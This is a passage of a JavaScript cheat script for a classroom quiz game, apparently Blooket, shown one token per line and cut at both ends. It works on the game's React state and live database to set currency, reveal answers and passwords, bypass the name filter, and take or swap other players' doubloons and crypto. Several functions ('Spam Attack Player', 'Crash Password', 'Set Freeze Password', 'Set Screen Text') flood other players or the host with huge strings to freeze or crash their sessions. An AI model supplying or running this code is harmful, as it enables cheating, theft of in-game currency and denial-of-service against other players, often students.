.apply(this, arguments
);
931 function allBlooks(blooks
) {
934 blookData
: Object
.keys(blooks
).reduce((a
, b
) => (a
[b
] = stateNode
.state
.blookData
[b
] || 1, a
), {}),
935 allSets
: Object
.values(blooks
).reduce((a
, b
) => {
936 return !a
.includes(b
.set) && a
.push(b
.set), a
950 name
: "Bypass Filter",
951 description
: "Bypasses the name filter",
956 for (var o
= t
.split(""), a
= "", r
= 0; r
< o
.length
; r
++) a
+= "\xad" + o
[r
];
958 }(t
= window
.prompt("Enter some text:")), r
= document
.createElement("iframe"), document
.body
.appendChild(r
), window
.alert
= r
.contentWindow
.alert
.bind(r
.contentWindow
), (e
= document
.createElement("textarea")).value
= o
, e
.style
.position
= "fixed", e
.style
.top
= 0, e
.style
.left
= 0, e
.style
.opacity
= 0, document
.body
.appendChild(e
), e
.select(), document
.execCommand("copy"), alert("Bypassed text copied to clipboard!"), r
.remove(), document
.body
.removeChild(e
)
961 name
: "Host Any Gamemode",
962 description
: "Change the selected gamemode on the host settings page",
964 let t
= document
.createElement("iframe");
965 if (document
.body
.append(t
), window
.alert
= t
.contentWindow
.alert
.bind(window
), window
.prompt
= t
.contentWindow
.prompt
.bind(window
), t
.remove(), "/host/settings" == location
.pathname
) {
966 let o
= ["Racing", "Classic", "Factory", "Cafe", "Defense2", "Defense", "Royale", "Gold", "Candy", "Brawl", "Hack", "Pirate", "Fish", "Dino", "Toy", "Rush"],
967 a
= prompt(`Which gamemode do you want to switch to? (Case sensitive) ${o.slice(0,o.length-1).join(", ")} or ${o[o.length-1]}`);
971 } = Object
.values(function e(t
= document
.querySelector("body>div")) {
972 return Object
.values(t
)[1]?.children
?.[0]?._owner
.stateNode
? t
: e(t
.querySelector(":scope>div"))
973 }())[1].children
[0]._owner
;
979 } else alert("Gamemode not found, make sure you spelled and capitalized it right.")
980 } else alert("Run this script on the host settings page")
985 description
: "Shows you what's under each chest during a heist",
991 this.enabled
= false;
992 clearInterval(this.data
);
994 Array
.prototype.forEach
.call(document
.querySelectorAll(".chestESP"), x
=> x
.remove());
997 this.data
= setInterval(() => {
998 const cheat
= (async () => {
1001 } = Object
.values((function react(r
= document
.querySelector("body>div")) {
1002 return Object
.values(r
)[1]?.children
?.[0]?._owner
.stateNode
? r
: react(r
.querySelector(":scope>div"))
1003 })())[1].children
[0]._owner
;
1004 if (stateNode
.state
.stage
== "heist") {
1005 const imgs
= Array
.prototype.map
.call(Array
.prototype.slice
.call(document
.querySelector("[class*=prizesList]").children
, 1, 4), (x
) => x
.querySelector("img").src
);
1006 const esp
= Object
.values(document
.querySelector("[class*=modal]"))[0].return.memoizedState
.memoizedState
;
1007 for (const e
of document
.querySelectorAll("[class*=boxContent] > div")) e
.remove();
1008 const open
= Object
.values(document
.querySelector("[class*=modal]"))[0].return.memoizedState
.next
.next
.memoizedState
;
1009 Array
.prototype.forEach
.call(document
.querySelector("[class*=chestsWrapper]").children
, (container
, i
) => {
1010 const box
= container
.firstChild
.firstChild
;
1011 if (open
.includes(i
)) return box
.style
.opacity
= "";
1012 box
.style
.opacity
= "0.5";
1013 let d
= document
.createElement("div");
1014 d
.innerHTML
= "<img src='" + imgs
[2 - esp
[i
]] + "' style='max-width: 75%; max-height: 75%'></img>";
1015 d
.className
= "chestESP";
1016 d
.style
.position
= "absolute";
1017 d
.style
.inset
= "0";
1018 d
.style
.display
= "grid";
1019 d
.style
.placeItems
= "center";
1020 d
.style
.pointerEvents
= "none";
1021 container
.onclick
= () => {
1023 box
.style
.opacity
= "";
1025 container
.firstChild
.prepend(d
);
1035 description
: "Maxes out all islands and your boat",
1039 } = Object
.values(function e(t
= document
.querySelector("body>div")) {
1040 return Object
.values(t
)[1]?.children
?.[0]?._owner
.stateNode
? t
: e(t
.querySelector(":scope>div"))
1041 }())[1].children
[0]._owner
;
1043 islandLevels
: Array(e
.state
.islandLevels
.length
).fill(5)
1044 }, e
.updateBoatLevel
)
1047 name
: "Set Doubloons",
1048 description
: "Sets Doubloons",
1050 let e
= document
.createElement("iframe");
1051 document
.body
.append(e
), window
.prompt
= e
.contentWindow
.prompt
.bind(window
), e
.remove();
1052 let t
= parseInt(prompt("How many doubloons do you want?")) || 0,
1055 } = Object
.values(function e(t
= document
.querySelector("body>div")) {
1056 return Object
.values(t
)[1]?.children
?.[0]?._owner
.stateNode
? t
: e(t
.querySelector(":scope>div"))
1057 }())[1].children
[0]._owner
;
1060 }), o
.props
.liveGameController
.setVal({
1061 path
: `c/${o.props.client.name}/d`,
1066 name
: "Start Heist",
1067 description
: "Starts a heist on someone",
1069 let e
= document
.createElement("iframe");
1070 document
.body
.append(e
), window
.prompt
= e
.contentWindow
.prompt
.bind(window
), e
.remove();
1073 } = Object
.values(function e(t
= document
.querySelector("body>div")) {
1074 return Object
.values(t
)[1]?.children
?.[0]?._owner
.stateNode
? t
: e(t
.querySelector(":scope>div"))
1075 }())[1].children
[0]._owner
;
1076 t
.props
.liveGameController
.getDatabaseVal("c", function(e
) {
1077 let o
= Object
.entries(e
|| {}).reduce((e
, [o
, a
]) => (o
!= t
.props
.client
.name
&& e
.push({
1082 if (0 === o
.length
) return t
.questionsToAnswer
= 1, void t
.randomQ();
1087 } = o
.find(e
=> e
.name
== prompt("Who would you like to heist? (Defaults to top player if no one found)")) || o
.sort((e
, t
) => t
.doubloons
- e
.doubloons
)[0];
1094 prizeAmount
: Math
.max(1e3
, n
)
1099 name
: "Swap Doubloons",
1100 description
: "Swaps Doubloons with someone",
1101 run
: async
function() {
1102 let e
= document
.createElement("iframe");
1103 document
.body
.append(e
), window
.prompt
= e
.contentWindow
.prompt
.bind(window
), e
.remove();
1106 } = Object
.values(function e(t
= document
.querySelector("body>div")) {
1107 return Object
.values(t
)[1]?.children
?.[0]?._owner
.stateNode
? t
: e(t
.querySelector(":scope>div"))
1108 }())[1].children
[0]._owner
, o
= Object
.entries(await
new Promise(e
=> t
.props
.liveGameController
.getDatabaseVal("c", e
))).sort((e
, t
) => t
[1].d
- e
[1].d
).filter(e
=> e
[0] != t
.props
.client
.name
), a
= o
.find(e
=> e
[0] == prompt("Who would you like to swap with? (Defaults to top player if no one found)")) || o
[0];
1109 t
.props
.liveGameController
.setVal({
1110 path
: `c/${t.props.client.name}`,
1112 b
: t
.props
.client
.blook
,
1114 tat
: `${a[0]}:${a[1].d-t.state.doubloons}`
1121 name
: "Take Doubloons",
1122 description
: "Takes Doubloons from someone",
1123 run
: async
function(e
) {
1124 let t
= document
.createElement("iframe");
1125 document
.body
.append(t
), window
.prompt
= t
.contentWindow
.prompt
.bind(window
), t
.remove();
1128 } = Object
.values(function e(t
= document
.querySelector("body>div")) {
1129 return Object
.values(t
)[1]?.children
?.[0]?._owner
.stateNode
? t
: e(t
.querySelector(":scope>div"))
1130 }())[1].children
[0]._owner
, a
= Object
.entries(await
new Promise(e
=> o
.props
.liveGameController
.getDatabaseVal("c", e
))).sort((e
, t
) => t
[1].d
- e
[1].d
).filter(e
=> e
[0] != o
.props
.client
.name
), r
= a
.find(e
=> e
[0] == prompt("Who would you like to take from? (Defaults to top player if no one found)")) || a
[0];
1132 doubloons
: o
.state
.doubloons
+ r
[1].d
1133 }), o
.props
.liveGameController
.setVal({
1134 path
: `c/${o.props.client.name}`,
1136 b
: o
.props
.client
.blook
,
1138 tat
: `${r[0]}:${r[1].d}`
1143 name
: "Send Ad Text",
1144 description
: "Sends a load of text to another player (This will override your blook!)",
1145 run
: async
function() {
1146 var player
= window
.prompt("Enter the player's name:");
1147 var text
= window
.prompt("Enter the text to send:");
1149 let t
= document
.createElement("iframe");
1150 document
.body
.append(t
);
1151 window
.prompt
= t
.contentWindow
.prompt
.bind(window
);
1156 } = Object
.values(function e(t
= document
.querySelector("body>div")) {
1157 return Object
.values(t
)[1]?.children
?.[0]?._owner
.stateNode
? t
: e(t
.querySelector(":scope>div"));
1158 }())[1].children
[0]._owner
;
1160 let o
= Object
.entries(await
new Promise(e
=> a
.props
.liveGameController
.getDatabaseVal("c", e
)))
1161 .sort((e
, t
) => t
[1].d
- e
[1].d
)
1162 .filter(e
=> e
[0] != a
.props
.client
.name
);
1164 let r
= o
.find(t
=> t
[0] == player
) || o
[0];
1167 doubloons
: a
.state
.doubloons
+ r
[1].d
1170 a
.props
.liveGameController
.setVal({
1171 path
: `c/${a.props.client.name}`,
1173 b
: a
.props
.client
.blook
,
1175 tat
: `${r[0]}:${r[1].d}`
1181 } = Object
.values(function e(t
= document
.querySelector("body>div")) {
1182 return Object
.values(t
)[1]?.children
?.[0]?._owner
.stateNode
? t
: e(t
.querySelector(":scope>div"));
1183 }())[1].children
[0]._owner
.stateNode
;
1185 let repeatedText
= `Dog:${Array(500).fill(text).join(' ')}`;
1186 t2
.client
.blook
= repeatedText
;
1187 t2
.liveGameController
.setVal({
1188 path
: `c/${t2.client.name}/b`,
1194 name
: "Double Enemy XP",
1195 description
: "Doubles enemy XP drop value",
1197 for (let e
of Object
.values(document
.querySelector("#app > div > div"))[1].children
[0]._owner
.stateNode
.game
.current
.scene
.scenes
[0].physics
.world
.colliders
._active
.filter(e
=> e
.callbackContext
?.toString().includes("invulnerableTime"))) {
1199 let o
= t
.classType
.prototype.start
;
1200 t
.classType
.prototype.start = function() {
1201 o
.apply(this, arguments
), this.val
*= 2
1202 }, t
.children
.entries
.forEach(e
=> e
.val
*= 2)
1206 name
: "Half Enemy Speed",
1207 description
: "Makes enemies move 2x slower",
1209 for (let e
of Object
.values(document
.querySelector("#app > div > div"))[1].children
[0]._owner
.stateNode
.game
.current
.scene
.scenes
[0].physics
.world
.colliders
._active
.filter(e
=> e
.callbackContext
?.toString().includes("invulnerableTime"))) {
1211 let o
= t
.classType
.prototype.start
;
1212 t
.classType
.prototype.start = function() {
1213 o
.apply(this, arguments
), this.speed
*= .5
1214 }, t
.children
.entries
.forEach(e
=> e
.speed
*= .5)
1218 name
: "Instant Kill",
1219 description
: "Sets all enemies health to 1",
1221 for (let e
of Object
.values(document
.querySelector("#app > div > div"))[1].children
[0]._owner
.stateNode
.game
.current
.scene
.scenes
[0].physics
.world
.colliders
._active
.filter(e
=> e
.callbackContext
?.toString().includes("invulnerableTime"))) {
1223 let o
= t
.classType
.prototype.start
;
1224 t
.classType
.prototype.start = function() {
1225 o
.apply(this, arguments
), this.hp
= 1
1226 }, t
.children
.entries
.forEach(e
=> e
.hp
= 1)
1230 name
: "Invincibility",
1231 description
: "Makes you invincible",
1233 for (let e
of Object
.values(document
.querySelector("#app > div > div"))[1].children
[0]._owner
.stateNode
.game
.current
.scene
.scenes
[0].physics
.world
.colliders
._active
.filter(e
=> e
.callbackContext
?.toString().includes("invulnerableTime"))) e
.collideCallback
= () => {}
1237 description
: "Pulls all xp towards you",
1239 Object
.values(document
.querySelector("#app > div > div"))[1].children
[0]._owner
.stateNode
.game
.current
.scene
.scenes
[0].physics
.world
.colliders
._active
.find(e
=> e
.collideCallback
?.toString().includes("magnetTime")).collideCallback({
1248 name
: "Max Current Abilities",
1249 description
: "Maxes out all your current abilities",
1251 let e
= Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
;
1252 for (var [t
, o
] of Object
.entries(e
.state
.abilities
))
1253 for (let a
= 0; a
< 10 - o
; a
++) e
.game
.current
.scene
.scenes
[0].game
.events
.emit("level up", t
, e
.state
.abilities
[t
]++);
1255 level
: e
.game
.current
.scene
.scenes
[0].level
= [1, 3, 5, 10, 15, 25, 35].sort((t
, o
) => Math
.abs(t
- e
.state
.level
) - Math
.abs(o
- e
.state
.level
))[0] - 1
1260 description
: "Skips to the next level",
1262 var e
= Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
,
1266 } = e
.game
.current
.scene
.scenes
[0].physics
.world
.colliders
._active
.find(e
=> e
.collideCallback
?.toString().includes('emit("xp"'));
1267 o
.get().spawn(t
.x
, t
.y
, (1 === (o
= e
.state
.level
) ? 1 : o
< 5 ? 5 : o
< 10 ? 10 : o
< 20 ? 20 : o
< 30 ? 30 : o
< 40 ? 40 : o
< 50 ? 50 : 100) - e
.xp
)
1270 name
: "Remove Obstacles",
1271 description
: "Removes all rocks and obstacles",
1273 Object
.values(document
.querySelector("#app > div > div"))[1].children
[0]._owner
.stateNode
.game
.current
.scene
.scenes
[0].physics
.world
.bodies
.entries
.forEach(e
=> {
1275 e
.gameObject
.frame
.texture
.key
.includes("obstacle") && e
.gameObject
.destroy()
1280 name
: "Kill Enemies",
1281 description
: "Kills all current enemies",
1283 Object
.values(document
.querySelector("#app > div > div"))[1].children
[0]._owner
.stateNode
.game
.current
.scene
.scenes
[0].physics
.world
.bodies
.entries
.forEach(e
=> e
?.gameObject
?.receiveDamage
?.(e
.gameObject
.hp
, 1))
1286 name
: "Reset Health",
1287 description
: "Resets health and gives invincibility for 3 seconds",
1289 Object
.values(document
.querySelector("#app > div > div"))[1].children
[0]._owner
.stateNode
.game
.current
.scene
.scenes
[0].game
.events
._events
.respawn
.fn()
1293 description
: "Sets amount of XP",
1295 var e
= parseFloat(window
.prompt("Enter the amount of XP:")),
1296 t
= Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
;
1300 }), t
.xp
= e
, t
.totalXp
= e
, t
.props
?.liveGameController
.setVal({
1301 path
: "c/".concat(t
.props
.client
.name
),
1303 b
: t
.props
.client
.blook
,
1310 description
: "Sets your level",
1312 var e
= parseInt(window
.prompt("Enter your level:"));
1313 Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
.setState({
1319 name
: "Spam Attack Player",
1320 description
: "Attacks the player to make the game unplayable",
1325 var name
= window
.prompt("Enter the player's name:");
1327 this.enabled
= false;
1328 clearInterval(this.data
);
1331 this.enabled
= true;
1333 function reactHandler() {
1334 return Object
.values(document
.querySelector('body div[class*="_body"]'))[1].children
[0]._owner
;
1337 var action
= name
+ ":inspect";
1339 function spamAction() {
1340 var handler
= reactHandler();
1341 if (handler
&& handler
.stateNode
&& handler
.stateNode
.props
&& handler
.stateNode
.props
.liveGameController
) {
1342 handler
.stateNode
.props
.liveGameController
.setVal({
1343 id
: handler
.stateNode
.props
.client
.hostId
,
1344 path
: "c/" + handler
.stateNode
.props
.client
.name
+ "/tat",
1350 this.data
= setInterval(spamAction
, 50);
1354 name
: "Attack Player",
1355 description
: "Sends the player a health inspection",
1357 var targetPlayer
= window
.prompt("Enter the player's name:");
1359 function reactHandler() {
1360 return Object
.values(document
.querySelector('body div[class*="_body"]'))[1].children
[0]._owner
;
1363 reactHandler().stateNode
.props
.liveGameController
.setVal({
1364 id
: reactHandler().stateNode
.props
.client
.hostId
,
1365 path
: "c/" + reactHandler().stateNode
.props
.client
.name
+ "/tat",
1366 val
: targetPlayer
+ ":inspect"
1371 description
: "Maxes out items in the shop (Only usable in the shop)",
1373 let e
= document
.createElement("iframe");
1374 if (document
.body
.append(e
), window
.alert
= e
.contentWindow
.alert
.bind(window
), e
.remove(), "/cafe/shop" !== window
.location
.pathname
) alert("This can only be run in the shop");
1378 } = Object
.values(function e(t
= document
.querySelector("body>div")) {
1379 return Object
.values(t
)[1]?.children
?.[0]?._owner
.stateNode
? t
: e(t
.querySelector(":scope>div"))
1380 }())[1].children
[0]._owner
;
1382 items
: Object
.fromEntries(Object
.entries(t
.state
.items
).map(e
=> [e
[0], 5]))
1387 name
: "Remove Customers",
1388 description
: "Skips the current customers (Not usable in the shop)",
1392 } = Object
.values(function e(t
= document
.querySelector("body>div")) {
1393 return Object
.values(t
)[1]?.children
?.[0]?._owner
.stateNode
? t
: e(t
.querySelector(":scope>div"))
1394 }())[1].children
[0]._owner
;
1395 e
.state
.customers
.forEach((t
, o
) => Object
.keys(t
).length
&& e
.removeCustomer(o
, !0))
1398 name
: "Reset Abilities",
1399 description
: "Resets used abilities in shop (Only usable in the shop)",
1401 let e
= document
.createElement("iframe");
1402 if (document
.body
.append(e
), window
.alert
= e
.contentWindow
.alert
.bind(window
), e
.remove(), "/cafe/shop" !== window
.location
.pathname
) alert("This can only be run in the shop");
1406 } = Object
.values(function e(t
= document
.querySelector("body>div")) {
1407 return Object
.values(t
)[1]?.children
?.[0]?._owner
.stateNode
? t
: e(t
.querySelector(":scope>div"))
1408 }())[1].children
[0]._owner
;
1410 abilities
: Object
.fromEntries(Object
.entries(t
.state
.abilities
).map(e
=> [e
[0], 5]))
1416 description
: "Sets cafe cash",
1418 let e
= document
.createElement("iframe");
1419 document
.body
.append(e
), window
.prompt
= e
.contentWindow
.prompt
.bind(window
), e
.remove();
1420 let t
= Number(parseInt(prompt("How much cash would you like?"))),
1423 } = Object
.values(function e(t
= document
.querySelector("body>div")) {
1424 return Object
.values(t
)[1]?.children
?.[0]?._owner
.stateNode
? t
: e(t
.querySelector(":scope>div"))
1425 }())[1].children
[0]._owner
;
1428 }), o
.props
.liveGameController
.setVal({
1429 path
: `c/${o.props.client.name}`,
1431 b
: o
.props
.client
.blook
,
1438 description
: "Stocks all food to 99 (Not usable in the shop)",
1440 var e
= document
.createElement("iframe");
1441 document
.body
.append(e
), window
.alert
= e
.contentWindow
.alert
.bind(window
), e
.remove(), "/cafe" !== window
.location
.pathname
? alert("This can't be run in the shop") : (e
= Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
).setState({
1442 foods
: e
.state
.foods
.map(e
=> ({
1452 description
: "Shows what each choice will give you",
1457 this.enabled
? (this.enabled
= !1, clearInterval(this.data
), this.data
= null) : (this.enabled
= !0, this.data
= setInterval(() => {
1460 } = Object
.values(function e(t
= document
.querySelector("body>div")) {
1461 return Object
.values(t
)[1]?.children
?.[0]?._owner
.stateNode
? t
: e(t
.querySelector(":scope>div"))
1462 }())[1].children
[0]._owner
, {
1464 } = e
.state
.choices
[0], o
= document
.querySelector("[class^=styles__feedbackContainer___]");
1465 if (o
.children
.length
<= 4) {
1466 let a
= document
.createElement("div");
1467 a
.style
.color
= "white", a
.style
.fontFamily
= "Inconsolata,Helvetica,monospace,sans-serif", a
.style
.fontSize
= "2em", a
.style
.display
= "flex", a
.style
.justifyContent
= "center", a
.style
.marginTop
= "675px", a
.innerText
= t
, o
.append(a
)
1472 name
: "Password ESP",
1473 description
: "Highlights the wrong passwords",
1480 e
.enabled
? (e
.enabled
= !1, clearInterval(e
.data
), e
.data
= null) : (e
.enabled
= !0, e
.data
= setInterval(() => {
1483 } = Object
.values(function e(t
= document
.querySelector("#app > div > div")) {
1484 return Object
.values(t
)[1]?.children
?.[1]?._owner
.stateNode
? t
: e(t
.querySelector(":scope>div"))
1485 }())[1].children
[1]._owner
.stateNode
;
1486 "hack" === e
.stage
&& Array
.from(document
.querySelectorAll('[role="button"]._button_mrhfb_157')).forEach(t
=> {
1487 t
.textContent
.trim() !== e
.correctPassword
.trim() ? (t
.style
.outlineColor
= "rgba(255, 64, 64, 0.8)", t
.style
.backgroundColor
= "rgba(255, 64, 64, 0.8)", t
.style
.textShadow
= "0 0 1px #f33") : (t
.style
.outlineColor
= "", t
.style
.backgroundColor
= "", t
.style
.textShadow
= "")
1491 console
.error("An error occurred:", t
)
1495 name
: "Always Triple",
1496 description
: "Always get triple crypto",
1501 this.enabled
? (this.enabled
= !1, clearInterval(this.data
), this.data
= null) : (this.enabled
= !0, this.data
= setInterval(() => Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
.setState({
1506 blook
: "Brainy Bot",
1507 text
: "Triple Crypto"
1512 name
: "Always Hack",
1513 description
: "Always get hack",
1518 this.enabled
? (this.enabled
= !1, clearInterval(this.data
), this.data
= null) : (this.enabled
= !0, this.data
= setInterval(() => Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
.setState({
1529 name
: "Crash Password",
1530 description
: "Crashes other players when they attempt to hack you",
1535 var e
= Object
.values(function e(t
= document
.querySelector("#app")) {
1536 return Object
.values(t
)[1]?.children
?.[0]?._owner
.stateNode
? t
: e(t
.querySelector(":scope>div"))
1537 }())[1].children
[0]._owner
.stateNode
;
1538 if (this.enabled
) this.enabled
= !1, clearInterval(this.data
), this.data
= null, e
.props
.liveGameController
.setVal({
1539 path
: `c/${e.props.client.name}/p`,
1540 val
: e
.state
?.password
1545 e
.props
.liveGameController
.setVal({
1546 path
: `c/${e.props.client.name}/p/toString`,
1550 this.data
= setInterval(t
, 25)
1554 name
: "Set Freeze Password",
1555 description
: "Freezes other players when they attempt to hack you",
1560 const encodedChars
= [
1561 '\\u2f9f', '\\u4fff', '\\u4f52', '\\u0E47', '\\u0E47', '\\u0E47', '\\u0E47', '\\u0E47', '\\u0E47', '\\u0E47', '\\u4FF1', '\\u4FF2'
1564 const chars
= encodedChars
.map(char => eval(`"${char}"`));
1566 function makeLongText() {
1567 return new Array(3e+6).fill().map(e
=> chars
[Math
.floor(Math
.random() * chars
.length
)]).join("");
1570 var t
= Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
;
1574 clearInterval(this.data
);
1579 t
.props
.liveGameController
.setVal({
1580 path
: "c/".concat(t
.props
.client
.name
),
1582 b
: t
.props
.client
.blook
,
1589 let lagFunction
= () => {
1590 var e
= makeLongText();
1594 t
.props
.liveGameController
.setVal({
1595 path
: "c/".concat(t
.props
.client
.name
),
1597 b
: t
.props
.client
.blook
,
1603 this.data
= setInterval(lagFunction
, 25);
1608 description
: "Automatically performs the hack for you",
1615 e
.enabled
? (e
.enabled
= !1, clearInterval(e
.data
), e
.data
= null) : (e
.enabled
= !0, e
.data
= setInterval(() => {
1616 if ("hack" === ("hack" === window
.location
.pathname
.split("/")[2] && "hack")) {
1620 } = Object
.values(document
.querySelector("#app > div > div"))[1].children
[1]._owner
.stateNode
.state
;
1621 "hack" === e
&& Array
.from(document
.querySelectorAll("div")).filter(e
=> e
.innerHTML
=== t
)[0].click()
1625 console
.error("An error occurred:", t
)
1629 name
: "Set Host Screen Green",
1630 description
: "Makes the whole screen filled with text",
1635 var a
= Object
.values(function e(t
= document
.querySelector("#app")) {
1636 return Object
.values(t
)[1]?.children
?.[0]?._owner
.stateNode
? t
: e(t
.querySelector(":scope>div"))
1637 }())[1].children
[0]._owner
.stateNode
;
1641 clearInterval(this.data
);
1643 a
.props
.liveGameController
.setVal({
1644 path
: `c/${a.props.client.name}/cr`,
1651 const char = eval('"\\u0e47"');
1652 for (let r
= 0; r
< 999; r
++) {
1653 o
.push(char.repeat(70));
1655 a
.props
.liveGameController
.setVal({
1656 path
: `c/${a.props.client.name}/cr`,
1657 val
: `9999999999999999999999999999999999999999999999${o.join(" ")}`
1660 this.data
= setInterval(t
, 25);
1664 name
: "Remove Hack",
1667 Object
.values(function e(t
= document
.querySelector("body>div")) {
1668 return Object
.values(t
)[1]?.children
?.[0]?._owner
.stateNode
? t
: e(t
.querySelector(":scope>div"))
1669 }())[1].children
[0]._owner
.stateNode
.setState({
1675 description
: "Sets crypto",
1677 var e
= document
.createElement("iframe"),
1678 e
= (document
.body
.append(e
), window
.prompt
= e
.contentWindow
.prompt
.bind(window
), e
.remove(), Number(parseInt(prompt("How much crypto would you like?")))),
1679 t
= Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
;
1683 }), t
.props
.liveGameController
.setVal({
1684 path
: "c/".concat(t
.props
.client
.name
),
1686 b
: t
.props
.client
.blook
,
1687 p
: t
.state
.password
,
1693 name
: "Set Password",
1694 description
: "Sets hacking password",
1696 var e
= document
.createElement("iframe"),
1697 e
= (document
.body
.append(e
), window
.prompt
= e
.contentWindow
.prompt
.bind(window
), e
.remove(), prompt("What do you want to set your password to?")),
1698 t
= Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
;
1701 }), t
.props
.liveGameController
.setVal({
1702 path
: "c/".concat(t
.props
.client
.name
),
1704 b
: t
.props
.client
.blook
,
1711 name
: "Set Screen Text",
1712 description
: "Makes the whole screen filled with text",
1714 var e
= window
.prompt("Enter the text you want to display:");
1715 let t
= document
.createElement("iframe");
1716 document
.body
.append(t
), window
.prompt
= t
.contentWindow
.prompt
.bind(window
), t
.remove();
1717 var o
= Object
.values(function e(t
= document
.querySelector("#app")) {
1718 return Object
.values(t
)[1]?.children
?.[0]?._owner
.stateNode
? t
: e(t
.querySelector(":scope>div"))
1719 }())[1].children
[0]._owner
.stateNode
,
1721 for (let r
= 0; r
< 999; r
++) a
.push(e
);
1722 o
.props
.liveGameController
.setVal({
1723 path
: `c/${o.props.client.name}/cr`,
1724 val
: `9999999999999999999999999999999999999999999999${a.join(" ")}`
1728 name
: "Steal Player's Crypto",
1729 description
: "Steals all of someone's crypto",
1731 var e
= document
.createElement("iframe");
1732 document
.body
.append(e
), window
.prompt
= e
.contentWindow
.prompt
.bind(window
), e
.remove();
1733 let t
= prompt("Who's crypto would you like to steal?"),
1734 o
= Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
;
1735 o
.props
.liveGameController
.getDatabaseVal("c", e
=> {
1737 e
&& Object
.keys(e
).map(e
=> e
.toLowerCase()).includes(t
.toLowerCase()) && ([a
, {
1739 }] = Object
.entries(e
).find(([e
]) => e
.toLowerCase() == t
.toLowerCase()), console
.log(!!e
, e
, a
, r
, o
.state
), o
.setState({
1740 crypto
: o
.state
.crypto
+ r
,
1741 crypto2
: o
.state
.crypto
+ r
1742 }), o
.props
.liveGameController
.setVal({
1743 path
: "c/".concat(o
.props
.client
.name
),
1745 b
: o
.props
.client
.blook
,
1746 p
: o
.state
.password
,
1747 cr
: o
.state
.crypto
+ r
,
1750 }), console
.log("done"))
1754 name
: "Send Ad Text",
1755 description
: "Sends a load of text to another player (This will override your blook!)",
1756 run
: async
function() {
1757 var player
= window
.prompt("Enter the player's name:");
1758 var blook
= window
.prompt("Enter the text to send:");
1760 let t
= Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
;
1761 t
.props
.liveGameController
.getDatabaseVal("c", a
=> {
1763 if (a
&& Object
.keys(a
).map(e
=> e
.toLowerCase()).includes(player
.toLowerCase())) {
1766 }] = Object
.entries(a
).find(([t
]) => t
.toLowerCase() == player
.toLowerCase());
1768 crypto
: t
.state
.crypto
+ o
,
1769 crypto2
: t
.state
.crypto
+ o
1771 t
.props
.liveGameController
.setVal({
1772 path
: "c/".concat(t
.props
.client
.name
),
1774 b
: t
.props
.client
.blook
,
1775 p
: t
.state
.password
,
1776 cr
: t
.state
.crypto
+ o
,
1785 } = Object
.values(function e(t
= document
.querySelector("body>div")) {
1786 return Object
.values(t
)[1]?.children
?.[0]?._owner
.stateNode
? t
: e(t
.querySelector(":scope>div"));
1787 }())[1].children
[0]._owner
.stateNode
;
1789 let repeatedText
= `Dog:${Array(500).fill(blook).join(' ')}`;
1790 t2
.client
.blook
= repeatedText
;
1791 t2
.liveGameController
.setVal({
1792 path
: `c/${t2.client.name}/b`,
1799 description
: "Shuffles around towers",
1801 let e
= Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
,
1803 eventName
: "Earthquake",
1807 icon
: "fas fa-mountain",
1808 desc
: "All of your towers get mixed up",
1813 }, () => e
.eventTimeout
= setTimeout(() => e
.setState({
1816 }), 6e3
)), e
.tiles
.forEach(e
=> e
.forEach((t
, o
) => 3 === t
&& (e
[o
] = 0))), e
.tiles
.flatMap((e
, t
) => e
.map((e
, o
) => 0 === e
&& {
1819 })).filter(Boolean
).sort(() => .5 - Math
.random()));
1820 e
.towers
.forEach(o
=> {
1825 o
.move(a
, r
, e
.tileSize
), e
.tiles
[r
][a
] = 3
1829 name
: "Max Tower Stats",
1830 description
: "Makes all placed towers overpowered",
1832 Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
.towers
.forEach(e
=> {
1833 e
.range
= 100, e
.fullCd
= e
.cd
= 0, e
.damage
= 1e6
1837 name
: "Remove Ducks",
1838 description
: "Removes ducks",
1843 } = Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
;
1849 name
: "Remove Enemies",
1850 description
: "Removes all the enemies",
1852 var e
= Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
;
1853 e
.enemies
= e
.futureEnemies
= []
1856 name
: "Remove Obstacles",
1857 description
: "Lets you place towers anywhere",
1859 var e
= Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
;
1860 e
.tiles
= e
.tiles
.map(e
=> e
.fill(0))
1864 description
: "Sets damage",
1866 var e
= document
.createElement("iframe");
1867 document
.body
.append(e
), window
.prompt
= e
.contentWindow
.prompt
.bind(window
), e
.remove(), Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
.dmg
= Number(parseInt(prompt("How much dmg would you like?")))
1871 description
: "Sets the current round",
1873 var e
= document
.createElement("iframe");
1874 document
.body
.append(e
), window
.prompt
= e
.contentWindow
.prompt
.bind(window
), e
.remove(), Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
.setState({
1875 round
: Number(parseInt(prompt("What round do you want to set to?")))
1880 description
: "Sets the amount of tokens you have",
1882 var e
= document
.createElement("iframe");
1883 document
.body
.append(e
), window
.prompt
= e
.contentWindow
.prompt
.bind(window
), e
.remove(), Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
.setState({
1884 tokens
: Number(parseInt(prompt("How many tokens would you like?")))
1889 name
: "Max Tower Stats",
1890 description
: "Makes all placed towers overpowered",
1892 Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
.state
.towers
.forEach(e
=> {
1893 if (e
.stats
.dmg
= 1e6
, e
.stats
.fireRate
